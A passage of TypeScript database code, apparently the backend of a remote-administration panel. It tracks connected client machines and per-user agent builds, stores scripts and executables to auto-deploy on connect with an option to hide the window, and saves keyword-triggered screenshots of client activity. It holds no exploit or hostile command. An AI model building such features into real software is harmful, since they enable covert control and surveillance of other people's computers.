GROUP BY COALESCE(NULLIF(country, ''), 'ZZ')`,
)
.all(userId);
const byOS: Record<string, number> = {};
const byOSOnline: Record<string, number> = {};
for (const row of osRows) {
byOS[row.key] = Number(row.total) || 0;
byOSOnline[row.key] = Number(row.online) || 0;
}
const byCountry: Record<string, number> = {};
const byCountryOnline: Record<string, number> = {};
for (const row of countryRows) {
byCountry[row.key] = Number(row.total) || 0;
byCountryOnline[row.key] = Number(row.online) || 0;
}
return {
total: Number(counts.total) || 0,
online: Number(counts.online) || 0,
byOS,
byCountry,
byOSOnline,
byCountryOnline,
};
}
export function getOnlineClientCountForUser(userId: number): number {
const row = db
.query<{ online: number }>(
`SELECT SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online FROM clients WHERE built_by_user_id = ?`,
)
.get(userId);
return Number(row?.online) || 0;
}
export function countBuildsForUser(userId: number): number {
const row = db
.query<{ c: number }>(`SELECT COUNT(*) as c FROM builds WHERE built_by_user_id = ?`)
.get(userId);
return row?.c ?? 0;
}
export function getOldestBuildForUser(userId: number): BuildRecord | null {
const row = db
.query<any>(`SELECT * FROM builds WHERE built_by_user_id = ? ORDER BY start_time ASC LIMIT 1`)
.get(userId);
if (!row) return null;
return {
id: row.id,
status: row.status,
startTime: row.start_time,
expiresAt: row.expires_at,
files: JSON.parse(row.files),
buildTag: row.build_tag || undefined,
builtByUserId: row.built_by_user_id || undefined,
};
}
export function deleteInactiveSessions(userId: number): number {
const now = Math.floor(Date.now() / 1000);
const result = db.run(
`DELETE FROM sessions WHERE user_id = ? AND (revoked = 1 OR expires_at <= ?)`,
userId,
now,
);
return result.changes;
}
export type AutoScriptTrigger = "on_connect" | "on_first_connect" | "on_connect_once";
export type AutoScript = {
id: string;
name: string;
trigger: AutoScriptTrigger;
script: string;
scriptType: string;
enabled: boolean;
osFilter: string[];
createdAt: number;
updatedAt: number;
};
function mapAutoScriptRow(row: any): AutoScript {
let osFilter: string[] = [];
try {
const parsed = JSON.parse(row.os_filter || "[]");
osFilter = Array.isArray(parsed) ? parsed : [];
} catch { }
return {
id: row.id,
name: row.name,
trigger: row.trigger as AutoScriptTrigger,
script: row.script,
scriptType: row.script_type,
enabled: row.enabled === 1,
osFilter,
createdAt: Number(row.created_at) || 0,
updatedAt: Number(row.updated_at) || 0,
};
}
export function listAutoScripts(): AutoScript[] {
const rows = db.query<any>(`SELECT * FROM auto_scripts ORDER BY created_at DESC`).all();
return rows.map(mapAutoScriptRow);
}
export function getAutoScriptsByTrigger(trigger: AutoScriptTrigger): AutoScript[] {
const rows = db
.query<any>(
`SELECT * FROM auto_scripts WHERE trigger=? AND enabled=1 ORDER BY created_at ASC`,
)
.all(trigger);
return rows.map(mapAutoScriptRow);
}
export function getAutoScript(id: string): AutoScript | null {
const row = db.query<any>(`SELECT * FROM auto_scripts WHERE id=?`).get(id);
return row ? mapAutoScriptRow(row) : null;
}
export function createAutoScript(input: {
id: string;
name: string;
trigger: AutoScriptTrigger;
script: string;
scriptType: string;
enabled: boolean;
osFilter: string[];
}): AutoScript {
const now = Date.now();
db.run(
`INSERT INTO auto_scripts (id, name, trigger, script, script_type, enabled, os_filter, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)`
,
input.id,
input.name,
input.trigger,
input.script,
input.scriptType,
input.enabled ? 1 : 0,
JSON.stringify(input.osFilter ?? []),
now,
now,
);
return getAutoScript(input.id)!;
}
export function updateAutoScript(
id: string,
input: Partial<{
name: string;
trigger: AutoScriptTrigger;
script: string;
scriptType: string;
enabled: boolean;
osFilter: string[];
}>,
): AutoScript | null {
const current = getAutoScript(id);
if (!current) return null;
const next = {
name: input.name ?? current.name,
trigger: (input.trigger ?? current.trigger) as AutoScriptTrigger,
script: input.script ?? current.script,
scriptType: input.scriptType ?? current.scriptType,
enabled: typeof input.enabled === "boolean" ? input.enabled : current.enabled,
osFilter: Array.isArray(input.osFilter) ? input.osFilter : current.osFilter,
};
db.run(
`UPDATE auto_scripts SET name=?, trigger=?, script=?, script_type=?, enabled=?, os_filter=?, updated_at=? WHERE id=?`
,
next.name,
next.trigger,
next.script,
next.scriptType,
next.enabled ? 1 : 0,
JSON.stringify(next.osFilter),
Date.now(),
id,
);
return getAutoScript(id);
}
export function deleteAutoScript(id: string): boolean {
const result = db.run(`DELETE FROM auto_scripts WHERE id=?`, id);
db.run(`DELETE FROM auto_script_runs WHERE script_id=?`, id);
return (result as any)?.changes ? (result as any).changes > 0 : true;
}
export function hasAutoScriptRun(scriptId: string, clientId: string): boolean {
const row = db
.query<any>(
`SELECT script_id FROM auto_script_runs WHERE script_id=? AND client_id=?`,
)
.get(scriptId, clientId);
return !!row?.script_id;
}
export function recordAutoScriptRun(scriptId: string, clientId: string) {
db.run(
`INSERT OR REPLACE INTO auto_script_runs (script_id, client_id, ts) VALUES (?, ?, ?)`
,
scriptId,
clientId,
Date.now(),
);
}
export function clientExists(id: string): boolean {
const row = db.query<any>(`SELECT id FROM clients WHERE id=?`).get(id);
return !!row?.id;
}
export function getClientPublicKeyById(id: string): string | null {
const row = db.query<{ public_key: string | null }>(`SELECT public_key FROM clients WHERE id=? LIMIT 1`).get(id);
return row?.public_key ?? null;
}
export function listDistinctCountries(): { code: string; count: number }[] {
const rows = db
.query<{ code: string; count: number }>(
`SELECT UPPER(COALESCE(NULLIF(country, ''), 'ZZ')) as code, COUNT(*) as count
FROM clients
GROUP BY UPPER(COALESCE(NULLIF(country, ''), 'ZZ'))
ORDER BY count DESC`,
)
.all();
return rows.map((r) => ({ code: r.code, count: Number(r.count) || 0 }));
}
export function setClientBookmark(id: string, bookmarked: boolean): boolean {
const result = db.run(
`UPDATE clients SET bookmarked=? WHERE id=?`,
bookmarked ? 1 : 0,
id,
);
return ((result as any)?.changes || 0) > 0;
}
export function getClientBookmark(id: string): boolean {
const row = db.query<{ bookmarked: number }>(`SELECT bookmarked FROM clients WHERE id=?`).get(id);
return row?.bookmarked === 1;
}
export function setClientNotificationsMuted(id: string, muted: boolean): boolean {
const result = db.run(
`UPDATE clients SET notifications_muted=? WHERE id=?`,
muted ? 1 : 0,
id,
);
return ((result as any)?.changes || 0) > 0;
}
export function isClientNotificationsMuted(id: string): boolean {
const row = db.query<{ notifications_muted: number }>(
`SELECT notifications_muted FROM clients WHERE id=?`,
).get(id);
return row?.notifications_muted === 1;
}
export interface BuildProfileRecord {
userId: number;
name: string;
profileJson: string;
createdAt: number;
updatedAt: number;
}
export function listBuildProfilesForUser(userId: number): BuildProfileRecord[] {
return db
.query<any>(
`SELECT user_id, name, profile_json, created_at, updated_at
FROM build_profiles
WHERE user_id = ?
ORDER BY updated_at DESC, name ASC`,
)
.all(userId)
.map((row: any) => ({
userId: row.user_id,
name: row.name,
profileJson: row.profile_json,
createdAt: row.created_at,
updatedAt: row.updated_at,
}));
}
export function saveBuildProfileForUser(userId: number, name: string, profileJson: string): void {
const now = Date.now();
db.run(
`INSERT INTO build_profiles (user_id, name, profile_json, created_at, updated_at)
VALUES (?, ?, ?, ?, ?)
ON CONFLICT(user_id, name) DO UPDATE SET
profile_json = excluded.profile_json,
updated_at = excluded.updated_at`,
userId,
name,
profileJson,
now,
now,
);
}
export function deleteBuildProfileForUser(userId: number, name: string): boolean {
const result = db.run(
`DELETE FROM build_profiles WHERE user_id = ? AND name = ?`,
userId,
name,
);
return ((result as any)?.changes || 0) > 0;
}
export interface SavedScriptRecord {
id: string;
userId: number;
name: string;
content: string;
scriptType: string;
createdAt: number;
updatedAt: number;
}
export function listSavedScriptsForUser(userId: number): SavedScriptRecord[] {
return db
.query<any>(
`SELECT id, user_id, name, content, script_type, created_at, updated_at
FROM saved_scripts
WHERE user_id = ?
ORDER BY updated_at DESC`,
)
.all(userId)
.map((row: any) => ({
id: row.id,
userId: row.user_id,
name: row.name,
content: row.content,
scriptType: row.script_type,
createdAt: row.created_at,
updatedAt: row.updated_at,
}));
}
export function saveSavedScript(
id: string,
userId: number,
name: string,
content: string,
scriptType: string,
): SavedScriptRecord | null {
const owner = db
.query<{ user_id: number }>(
`SELECT user_id FROM saved_scripts WHERE id = ?`,
)
.get(id);
if (owner && owner.user_id !== userId) {
return null;
}
const now = Date.now();
db.run(
`INSERT INTO saved_scripts (id, user_id, name, content, script_type, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
content = excluded.content,
script_type = excluded.script_type,
updated_at = excluded.updated_at
WHERE saved_scripts.user_id = excluded.user_id`,
id,
userId,
name,
content,
scriptType,
now,
now,
);
return { id, userId, name, content, scriptType, createdAt: now, updatedAt: now };
}
export function deleteSavedScript(userId: number, scriptId: string): boolean {
const result = db.run(
`DELETE FROM saved_scripts WHERE id = ? AND user_id = ?`,
scriptId,
userId,
);
return ((result as any)?.changes || 0) > 0;
}
export interface BuildRecord {
id: string;
status: string;
startTime: number;
expiresAt: number;
files: Array<{
name: string;
filename: string;
platform: string;
version?: string;
size: number;
}>;
buildTag?: string;
builtByUserId?: number;
blocked?: boolean;
}
export function saveBuild(build: BuildRecord) {
db.run(
`INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files, build_tag, built_by_user_id)
VALUES (?, ?, ?, ?, ?, ?, ?)`,
build.id,
build.status,
build.startTime,
build.expiresAt,
JSON.stringify(build.files),
build.buildTag || null,
build.builtByUserId || null,
);
}
function mapBuildRow(row: any): BuildRecord {
return {
id: row.id,
status: row.status,
startTime: row.start_time,
expiresAt: row.expires_at,
files: JSON.parse(row.files),
buildTag: row.build_tag || undefined,
builtByUserId: row.built_by_user_id || undefined,
blocked: row.blocked === 1,
};
}
export function getBuild(id: string): BuildRecord | null {
const row = db.query<any>(`SELECT * FROM builds WHERE id = ?`).get(id);
if (!row) return null;
return mapBuildRow(row);
}
export function getBuildByTag(buildTag: string): BuildRecord | null {
const row = db.query<any>(`SELECT * FROM builds WHERE build_tag = ?`).get(buildTag);
if (!row) return null;
return mapBuildRow(row);
}
export function isBuildTagBlocked(buildTag: string): boolean {
if (!buildTag) return false;
const row = db.query<{ blocked: number }>(
`SELECT blocked FROM builds WHERE build_tag = ?`,
).get(buildTag);
return !!row && row.blocked === 1;
}
export function setBuildBlocked(buildId: string, blocked: boolean): boolean {
const result = db.run(
`UPDATE builds SET blocked = ? WHERE id = ?`,
blocked ? 1 : 0,
buildId,
);
return ((result as any)?.changes || 0) > 0;
}
export function listClientIdsByBuildTag(buildTag: string): string[] {
if (!buildTag) return [];
const rows = db.query<{ id: string }>(
`SELECT id FROM clients WHERE build_tag = ?`,
).all(buildTag);
return rows.map((r) => r.id);
}
export function recordBuildClaim(buildId: string, keyFingerprint: string): boolean {
if (!buildId || !keyFingerprint) return false;
try {
const result = db.run(
`INSERT OR IGNORE INTO build_claims (build_id, key_fingerprint, claimed_at) VALUES (?, ?, ?)`,
buildId,
keyFingerprint,
Date.now(),
);
return ((result as any)?.changes || 0) > 0;
} catch {
return false;
}
}
/** Number of distinct agent fingerprints that have ever claimed this build's tag. */
export function countBuildClaims(buildId: string): number {
if (!buildId) return 0;
const row = db.query<{ count: number }>(
`SELECT COUNT(*) as count FROM build_claims WHERE build_id = ?`,
).get(buildId);
return row?.count ?? 0;
}
/** Batch helper — returns Map<buildId, claimCount> for the given build IDs. */
export function countBuildClaimsBatch(buildIds: string[]): Map<string, number> {
const out = new Map<string, number>();
if (buildIds.length === 0) return out;
// SQLite has a host-parameter limit (~999 by default); chunk to be safe.
for (let i = 0; i < buildIds.length; i += 500) {
const chunk = buildIds.slice(i, i + 500);
const placeholders = chunk.map(() => "?").join(",");
const rows = db.query<{ build_id: string; count: number }>(
`SELECT build_id, COUNT(*) as count FROM build_claims WHERE build_id IN (${placeholders}) GROUP BY build_id`,
).all(...chunk);
for (const r of rows) out.set(r.build_id, r.count);
}
// Ensure every requested ID is in the map (default 0).
for (const id of buildIds) if (!out.has(id)) out.set(id, 0);
return out;
}
export function getAllBuilds(userId?: number, role?: string): BuildRecord[] {
if (role !== undefined && role !== "admin") {
if (userId == null) {
return [];
}
const rows = db
.query<any>(`SELECT * FROM builds WHERE built_by_user_id = ? ORDER BY start_time DESC`)
.all(userId);
return rows.map(mapBuildRow);
}
const rows = db
.query<any>("SELECT * FROM builds ORDER BY start_time DESC")
.all();
return rows.map(mapBuildRow);
}
export function deleteExpiredBuilds() {
const now = Date.now();
db.run(`DELETE FROM builds WHERE expires_at <= ?`, now);
}
export function deleteBuild(id: string) {
db.run(`DELETE FROM builds WHERE id = ?`, id);
}
export interface NotificationScreenshotRecord {
id: string;
notificationId: string;
clientId: string;
ts: number;
format: string;
width?: number;
height?: number;
bytes: Uint8Array;
}
export function saveNotificationScreenshot(record: NotificationScreenshotRecord) {
db.run(
`INSERT OR REPLACE INTO notification_screenshots
(id, notification_id, client_id, ts, format, width, height, bytes)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)`
,
record.id,
record.notificationId,
record.clientId,
record.ts,
record.format,
record.width ?? null,
record.height ?? null,
record.bytes,
);
}
export function getNotificationScreenshot(notificationId: string): NotificationScreenshotRecord | null {
const row = db
.query<any>(
`SELECT * FROM notification_screenshots WHERE notification_id = ? ORDER BY ts DESC LIMIT 1`,
)
.get(notificationId);
if (!row) return null;
return {
id: row.id,
notificationId: row.notification_id,
clientId: row.client_id,
ts: row.ts,
format: row.format,
width: row.width ?? undefined,
height: row.height ?? undefined,
bytes: row.bytes,
};
}
export type NotificationRow = {
id: string;
clientId: string;
host?: string;
user?: string;
os?: string;
title: string;
process?: string;
processPath?: string;
pid?: number;
keyword?: string;
category: string;
ts: number;
screenshotId?: string;
};
export function saveNotification(record: NotificationRow) {
db.run(
`INSERT OR REPLACE INTO notifications
(id, client_id, host, user, os, title, process, process_path, pid, keyword, category, ts, screenshot_id)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
record.id,
record.clientId,
record.host ?? null,
record.user ?? null,
record.os ?? null,
record.title,
record.process ?? null,
record.processPath ?? null,
record.pid ?? null,
record.keyword ?? null,
record.category,
record.ts,
record.screenshotId ?? null,
);
}
export function updateNotificationScreenshotId(notificationId: string, screenshotId: string) {
db.run(
`UPDATE notifications SET screenshot_id = ? WHERE id = ?`,
screenshotId,
notificationId,
);
}
export function getNotificationHistory(limit: number = 500): NotificationRow[] {
const rows = db
.query<any>(`SELECT * FROM notifications ORDER BY ts DESC LIMIT ?`)
.all(limit);
return rows.map((row: any) => ({
id: row.id,
clientId: row.client_id,
host: row.host ?? undefined,
user: row.user ?? undefined,
os: row.os ?? undefined,
title: row.title,
process: row.process ?? undefined,
processPath: row.process_path ?? undefined,
pid: row.pid ?? undefined,
keyword: row.keyword ?? undefined,
category: row.category,
ts: row.ts,
screenshotId: row.screenshot_id ?? undefined,
}));
}
const NOTIFICATION_RETENTION_DAYS = 3;
const NOTIFICATION_RETENTION_MS = NOTIFICATION_RETENTION_DAYS * 24 * 60 * 60 * 1000;
export function pruneOldNotifications() {
const cutoff = Date.now() - NOTIFICATION_RETENTION_MS;
db.run(`DELETE FROM notification_screenshots WHERE notification_id IN (SELECT id FROM notifications WHERE ts < ?)`, cutoff);
db.run(`DELETE FROM notification_screenshots WHERE ts < ?`, cutoff);
db.run(`DELETE FROM notification_screenshots WHERE notification_id NOT IN (SELECT id FROM notifications)`);
const result = db.run(`DELETE FROM notifications WHERE ts < ?`, cutoff);
if (result.changes > 0) {
console.log(`[db] pruned ${result.changes} notifications older than ${NOTIFICATION_RETENTION_DAYS} days`);
}
}
export function clearNotifications() {
db.run(`DELETE FROM notifications`);
db.run(`DELETE FROM notification_screenshots`);
console.log("[db] cleared all notifications and screenshots");
}
export function deleteNotificationsForClient(clientId: string): number {
db.run(`DELETE FROM notification_screenshots WHERE client_id = ?`, clientId);
const result = db.run(`DELETE FROM notifications WHERE client_id = ?`, clientId);
return (result as any)?.changes || 0;
}
export function getClientEnrollmentStatus(id: string): string | null {
const row = db
.query<{ enrollment_status: string }>(
`SELECT enrollment_status FROM clients WHERE id=?`,
)
.get(id);
return row?.enrollment_status ?? null;
}
export function setClientEnrollmentStatus(
id: string,
status: "approved" | "denied" | "pending",
approvedBy?: string,
denyReason?: string,
): boolean {
const result = db.run(
`UPDATE clients SET enrollment_status=?, enrolled_at=?, enrolled_by=?, deny_reason=? WHERE id=?`,
status,
status === "approved" ? Date.now() : null,
status === "approved" ? (approvedBy ?? null) : null,
status === "denied" ? (denyReason ?? null) : null,
id,
);
return ((result as any)?.changes || 0) > 0;
}
export function lookupClientByPublicKey(
publicKey: string,
): { id: string; enrollmentStatus: string } | null {
const row = db
.query<{ id: string; enrollment_status: string }>(
`SELECT id, enrollment_status FROM clients WHERE public_key=? LIMIT 1`,
)
.get(publicKey);
if (!row) return null;
return { id: row.id, enrollmentStatus: row.enrollment_status };
}
export function getEnrollmentStats(opts?: {
allowedClientIds?: string[];
deniedClientIds?: string[];
builtByUserId?: number;
requireBuildOwner?: boolean;
}): {
pending: number;
approved: number;
denied: number;
} {
let sql = `SELECT COALESCE(enrollment_status,'pending') as status, COUNT(*) as c FROM clients`;
const params: any[] = [];
const where: string[] = [];
if (opts?.allowedClientIds) {
if (opts.allowedClientIds.length === 0) return { pending: 0, approved: 0, denied: 0 };
const placeholders = opts.allowedClientIds.map(() => "?").join(",");
where.push(`id IN (${placeholders})`);
params.push(...opts.allowedClientIds);
}
if (opts?.deniedClientIds && opts.deniedClientIds.length > 0) {
const placeholders = opts.deniedClientIds.map(() => "?").join(",");
where.push(`id NOT IN (${placeholders})`);
params.push(...opts.deniedClientIds);
}
if (typeof opts?.builtByUserId === "number") {
where.push("built_by_user_id = ?");
params.push(opts.builtByUserId);
}
if (opts?.requireBuildOwner) {
where.push("built_by_user_id IS NOT NULL");
}
if (where.length > 0) {
sql += ` WHERE ${where.join(" AND ")}`;
}
sql += ` GROUP BY enrollment_status`;
const rows = db.query<{ status: string; c: number }>(sql).all(...params);
const stats = { pending: 0, approved: 0, denied: 0 };
for (const r of rows) {
if (r.status === "approved") stats.approved = Number(r.c);
else if (r.status === "denied") stats.denied = Number(r.c);
else stats.pending = Number(r.c);
}
return stats;
}
export interface PushSubscriptionRecord {
id: number;
userId: number;
endpoint: string;
p256dh: string;
auth: string;
createdAt: number;
}
export function savePushSubscription(userId: number, endpoint: string, p256dh: string, auth: string): void {
db.run(
`INSERT OR REPLACE INTO push_subscriptions (user_id, endpoint, p256dh, auth, created_at)
VALUES (?, ?, ?, ?, ?)`,
userId, endpoint, p256dh, auth, Date.now(),
);
}
export function deletePushSubscription(endpoint: string): void {
db.run(`DELETE FROM push_subscriptions WHERE endpoint=?`, endpoint);
}
export function deletePushSubscriptionForUser(userId: number, endpoint: string): boolean {
const result = db.run(
`DELETE FROM push_subscriptions WHERE endpoint=? AND user_id=?`,
endpoint,
userId,
);
return ((result as any)?.changes || 0) > 0;
}
export function deletePushSubscriptionsByUser(userId: number): void {
db.run(`DELETE FROM push_subscriptions WHERE user_id=?`, userId);
}
export function getPushSubscriptionsByUser(userId: number): PushSubscriptionRecord[] {
return db
.query<any>(`SELECT * FROM push_subscriptions WHERE user_id=?`)
.all(userId)
.map((r: any) => ({
id: r.id,
userId: r.user_id,
endpoint: r.endpoint,
p256dh: r.p256dh,
auth: r.auth,
createdAt: Number(r.created_at) || 0,
}));
}
export function getAllPushSubscriptions(): PushSubscriptionRecord[] {
return db
.query<any>(`SELECT * FROM push_subscriptions`)
.all()
.map((r: any) => ({
id: r.id,
userId: r.user_id,
endpoint: r.endpoint,
p256dh: r.p256dh,
auth: r.auth,
createdAt: Number(r.created_at) || 0,
}));
}
export function getPendingClients(opts?: {
allowedClientIds?: string[];
deniedClientIds?: string[];
builtByUserId?: number;
requireBuildOwner?: boolean;
}): {
id: string;
host: string | null;
os: string | null;
user: string | null;
ip: string | null;
country: string | null;
publicKey: string | null;
keyFingerprint: string | null;
lastSeen: number;
}[] {
let sql = `SELECT id, host, os, user, ip, country, public_key as publicKey, key_fingerprint as keyFingerprint, last_seen as lastSeen
FROM clients WHERE (enrollment_status='pending' OR enrollment_status IS NULL)`;
const params: any[] = [];
if (opts?.allowedClientIds) {
if (opts.allowedClientIds.length === 0) return [];
const placeholders = opts.allowedClientIds.map(() => "?").join(",");
sql += ` AND id IN (${placeholders})`;
params.push(...opts.allowedClientIds);
}
if (opts?.deniedClientIds && opts.deniedClientIds.length > 0) {
const placeholders = opts.deniedClientIds.map(() => "?").join(",");
sql += ` AND id NOT IN (${placeholders})`;
params.push(...opts.deniedClientIds);
}
if (typeof opts?.builtByUserId === "number") {
sql += ` AND built_by_user_id = ?`;
params.push(opts.builtByUserId);
}
if (opts?.requireBuildOwner) {
sql += ` AND built_by_user_id IS NOT NULL`;
}
sql += ` ORDER BY last_seen DESC`;
return db
.query<any>(sql)
.all(...params)
.map((r: any) => ({
id: r.id,
host: r.host,
os: r.os,
user: r.user,
ip: r.ip,
country: r.country,
publicKey: r.publicKey,
keyFingerprint: r.keyFingerprint,
lastSeen: Number(r.lastSeen) || 0,
}));
}
export function getClientBuildOwnership(
id: string,
): { buildTag: string | null; builtByUserId: number | null } | null {
const row = db
.query<{ build_tag: string | null; built_by_user_id: number | null }>(
`SELECT build_tag, built_by_user_id FROM clients WHERE id=?`,
)
.get(id);
if (!row) return null;
return {
buildTag: row.build_tag ?? null,
builtByUserId:
typeof row.built_by_user_id === "number" ? row.built_by_user_id : null,
};
}
export type AutoDeployTrigger = "on_connect" | "on_first_connect" | "on_connect_once";
export type AutoDeploy = {
id: string;
name: string;
trigger: AutoDeployTrigger;
filePath: string;
fileName: string;
fileSize: number;
fileOs: string;
args: string;
hideWindow: boolean;
enabled: boolean;
osFilter: string[];
createdAt: number;
updatedAt: number;
};
function mapAutoDeployRow(row: any): AutoDeploy {
let osFilter: string[] = [];
try {
const parsed = JSON.parse(row.os_filter || "[]");
osFilter = Array.isArray(parsed) ? parsed : [];
} catch { }
return {
id: row.id,
name: row.name,
trigger: row.trigger as AutoDeployTrigger,
filePath: row.file_path,
fileName: row.file_name,
fileSize: Number(row.file_size) || 0,
fileOs: row.file_os || "unknown",
args: row.args || "",
hideWindow: row.hide_window === 1,
enabled: row.enabled === 1,
osFilter,
createdAt: Number(row.created_at) || 0,
updatedAt: Number(row.updated_at) || 0,
};
}
export function listAutoDeploys(): AutoDeploy[] {
const rows = db.query<any>(`SELECT * FROM auto_deploys ORDER BY created_at DESC`).all();
return rows.map(mapAutoDeployRow);
}
export function getAutoDeploysByTrigger(trigger: AutoDeployTrigger): AutoDeploy[] {
const rows = db
.query<any>(
`SELECT * FROM auto_deploys WHERE trigger=? AND enabled=1 ORDER BY created_at ASC`,
)
.all(trigger);
return rows.map(mapAutoDeployRow);
}
export function getAutoDeploy(id: string): AutoDeploy | null {
const row = db.query<any>(`SELECT * FROM auto_deploys WHERE id=?`).get(id);
return row ? mapAutoDeployRow(row) : null;
}
export function createAutoDeploy(input: {
id: string;
name: string;
trigger: AutoDeployTrigger;
filePath: string;
fileName: string;
fileSize: number;
fileOs: string;
args: string;
hideWindow: boolean;
enabled: boolean;
osFilter: string[];
}): AutoDeploy {
const now = Date.now();
db.run(
`INSERT INTO auto_deploys (id, name, trigger, file_path, file_name, file_size, file_os, args, hide_window, enabled, os_filter, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
input.id,
input.name,
input.trigger,
input.filePath,
input.fileName,
input.fileSize,
input.fileOs,
input.args,
input.hideWindow ? 1 : 0,
input.enabled ? 1 : 0,
JSON.stringify(input.osFilter ?? []),
now,
now,
);
return getAutoDeploy(input.id)!;
}
export function updateAutoDeploy(
id: string,
input: Partial<{
name: string;
trigger: AutoDeployTrigger;
args: string;
hideWindow: boolean;
enabled: boolean;
osFilter: string[];
}>,
): AutoDeploy | null {
const current = getAutoDeploy(id);
if (!current) return null;
const next = {
name: input.name ?? current.name,
trigger: (input.trigger ?? current.trigger) as AutoDeployTrigger,
args: input.args ?? current.args,
hideWindow: typeof input.hideWindow === "boolean" ? input.hideWindow : current.hideWindow,
enabled: typeof input.enabled === "boolean" ? input.enabled : current.enabled,
osFilter: Array.isArray(input.osFilter) ? input.osFilter : current.osFilter,
};
db.run(
`UPDATE auto_deploys SET name=?, trigger=?, args=?, hide_window=?, enabled=?, os_filter=?, updated_at=? WHERE id=?`,
next.name,
next.trigger,
next.args,
next.hideWindow ? 1 : 0,
next.enabled ? 1 : 0,
JSON.stringify(next.osFilter),
Date.now(),
id,
);
return getAutoDeploy(id);
}
export function deleteAutoDeploy(id: string): boolean {
const result = db.run(`DELETE FROM auto_deploys WHERE id=?`, id);
db.run(`DELETE FROM auto_deploy_runs WHERE deploy_id=?`, id);
return (result as any)?.changes ? (result as any).changes > 0 : true;
}
export function hasAutoDeployRun(deployId: string, clientId: string): boolean {
const row = db
.query<any>(
`SELECT deploy_id FROM auto_deploy_runs WHERE deploy_id=? AND client_id=?`,
)
.get(deployId, clientId);
return !!row?.deploy_id;
}
export function recordAutoDeployRun(deployId: string, clientId: string) {
db.run(
`INSERT OR REPLACE INTO auto_deploy_runs (deploy_id, client_id, ts) VALUES (?, ?, ?)`,
deployId,
clientId,
Date.now(),
);
}
export function getDatabaseFileSizeBytes(): number {
try {
return Bun.file(dbPath).size;
} catch {
return 0;
}
}